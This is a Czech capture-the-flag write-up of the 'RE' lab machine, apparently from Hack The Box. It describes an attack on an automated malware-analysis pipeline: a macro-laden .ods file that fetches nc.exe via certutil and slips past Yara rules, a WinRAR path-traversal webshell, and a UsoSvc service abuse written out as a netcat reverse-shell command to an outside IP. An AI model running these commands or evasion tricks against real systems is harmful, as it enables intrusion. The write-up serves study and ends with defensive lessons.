RE
Úvod a kontext
RE je hlavně o špatně navržené automatizaci analýzy malwaru. Venku je blog a SMB share pro nahrávání vzorků, uvnitř pak PowerShell skript, který soubory rozbaluje, kontroluje pomocí Yara, automaticky otevírá v LibreOffice a předává dál k dalšímu zpracování. Právě tahle pipeline vytváří celý útokový řetězec.
Na tomhle stroji je důležité nevnímat foothold jako „makro v dokumentu“ a root jako „další Windows exploit“. Obojí je důsledek stejného provozního problému: nedůvěryhodné soubory se zpracovávají automaticky a bez izolace.
Je to zároveň přesně ten typ workflow, který rozebírám v článcích Document workflow jako RCE nebo file-read primitivum a Automatizované zpracování souborů a bezpečnostní pipeline.
Počáteční průzkum
IIS a SMB share
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);nmap -p $ports -A -sC -sV -v $IP
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
445/tcp open microsoft-ds?
Web s titulkem Ghidra Dropbox Coming Soon! sám o sobě nestačil, ale kombinace IIS a SMB už byla zajímavější. Share malware_dropbox byl dostupný bez běžných doménových pověření a dávalo smysl ho vyzkoušet jako vstupní bod do interní pipeline. Praktickou roli rychlé SMB mapy rozebírám i v článku Smbmap:
smbmap -u "root" -p "" -d workgroup -H $IP
IPC$ READ ONLY
malware_dropbox READ ONLY
Název share i blog kolem malware analýzy naznačovaly, že nahrané soubory někdo nebo něco automaticky zpracovává.
Analýza zjištění
Malicious .ods a shell jako luke
Rozhodující myšlenka byla jednoduchá: pokud organizace analyzuje kancelářské dokumenty a používá LibreOffice, má smysl ověřit, zda se nahraný .ods někde automaticky neotevírá.
Právě to se potvrdilo. Šlo vytvořit .ods dokument s makrem, které:
- stáhne
nc.exepřescertutil, - spustí reverzní shell.
Praktickou roli tohoto LOLBinu rozebírám i v článku certutil.
Podstatný detail byl v obcházení Yara pravidel. Ta hledala konkrétní ukázkové názvy funkcí jako OnLoad nebo Exploit, takže makro pojmenované například Run_at_open kontrolou prošlo.
Po nahrání souboru do malware_dropbox ho automatizační pipeline otevřela a shell přišel jako uživatel luke.
Získání přístupu
luke a user část
První shell tak nevznikl z webového exploitu, ale z interního procesu zpracování dokumentů. Po přihlášení jako luke šlo potvrdit user část:
type C:\Users\luke\Desktop\user.txt
__CENSORED__
process_samples.ps1 vysvětlí zbytek řetězce
V C:\Users\luke\Documents ležel skript process_samples.ps1, který celý workflow popisoval mnohem přesněji:
- přesune obsah
malware_dropboxdo pracovního adresáře, - přejmenuje
.odsna.zip, - rozbalí archiv,
- spustí Yara kontrolu,
- pokud soubor projde, otevře ho v LibreOffice,
- a nakonec výstup zabalí a přejmenuje na
.rarpro další zpracování.
To je klíčový mezikrok. Uživatel už shell má, ale teprve skript vysvětluje, proč stojí za to přemýšlet o WinRARu a o dalším pivotu do IIS.
Právě takové helper skripty a provozní orchestrace jsou cenné hlavně tím, že neukazují jen „co fungovalo“, ale proč se z obyčejného upload share stal privilegovaný execution kanál.
Eskalace oprávnění
WinRAR path traversal do webrootu
Komentáře ve skriptu a přítomnost starého WinRARu ukazovaly na zranitelnost CVE-2018-20253, tedy path traversal při rozbalování ACE archivu. Prakticky šlo vytvořit škodlivý .rar, který při zpracování zapíše soubor mimo cílový adresář, rovnou do webrootu IIS:
C:\inetpub\wwwroot\reblog\
Nejprve šlo stejnou technikou vynutit SMB autentizaci nebo zapisovat soubory jinam, ale nejpraktičtější byla právě ASPX webshell ve webové složce. To otevřelo shell jako:
iis apppool\re
UsoSvc -> SYSTEM
Další krok už nebyl o webu, ale o lokálních oprávněních. PowerUp.ps1 ukázal, že účet má možnost zneužít službu UsoSvc, která běží jako LocalSystem a jde restartovat s podvrženým BinPath.
Praktický exploit vypadal například takto:
Invoke-ServiceAbuse -Name 'UsoSvc' -Command 'C:\Windows\System32\spool\drivers\color\nc.exe -e cmd.exe 10.10.14.14 4444'
Tím vznikl SYSTEM shell. To ale pořád nestačilo na finální flag.
Proč ani SYSTEM nevidí root.txt
Na RE je root flag chráněný přes EFS. cipher /c root.txt ukázal, že soubor mohou dešifrovat Administrator a coby. Proto prosté type root.txt vracelo Access is denied i ze SYSTEM shellu.
Řešením bylo přejít na stabilnější Meterpreter, nahrát rozšíření incognito a impersonovat token uživatele RE\\coby:
list_tokens -u coby
impersonate_token RE\\coby
Teprve s tímto tokenem šlo root.txt normálně přečíst.
Shrnutí klíčových poznatků
- RE je řetězec postavený na automatizaci analýzy souborů, ne na jedné konkrétní službě.
- User část vznikla z
.odsmakra, které obešlo Yara a spustilo se při automatickém otevření v LibreOffice. process_samples.ps1pak prozradil druhou polovinu útoku: další zpracování přes.rar, a tím i cestu k WinRAR path traversal.- Root nepadl na klasické ACL chybě, ale na kombinaci SYSTEM shellu a potřeby impersonovat uživatele schopného dešifrovat EFS soubor.
Co si odnést do praxe
- Automatické otevírání a analýza nedůvěryhodných dokumentů musí běžet izolovaně. Jakmile se dokument spouští v běžném uživatelském kontextu, stává se z antimalwarové pipeline přímý vstupní bod.
- Yara pravidla a podobné detekce jsou jen doplněk. Pokud workflow dál soubor otevře při prvním obejití signatury, bezpečnostní model selhal už v návrhu.
- Převody mezi formáty jako
.ods,.zipa.rarje potřeba brát jako další bezpečnostní hranici. Každý archivátor nebo parser přidává novou možnost path traversal nebo code execution. - SYSTEM na Windows nemusí automaticky znamenat přístup ke všem datům. Když se používá EFS nebo jiná per-user ochrana, je potřeba při incident response i při red teamu rozumět tomu, kdo může data skutečně dešifrovat.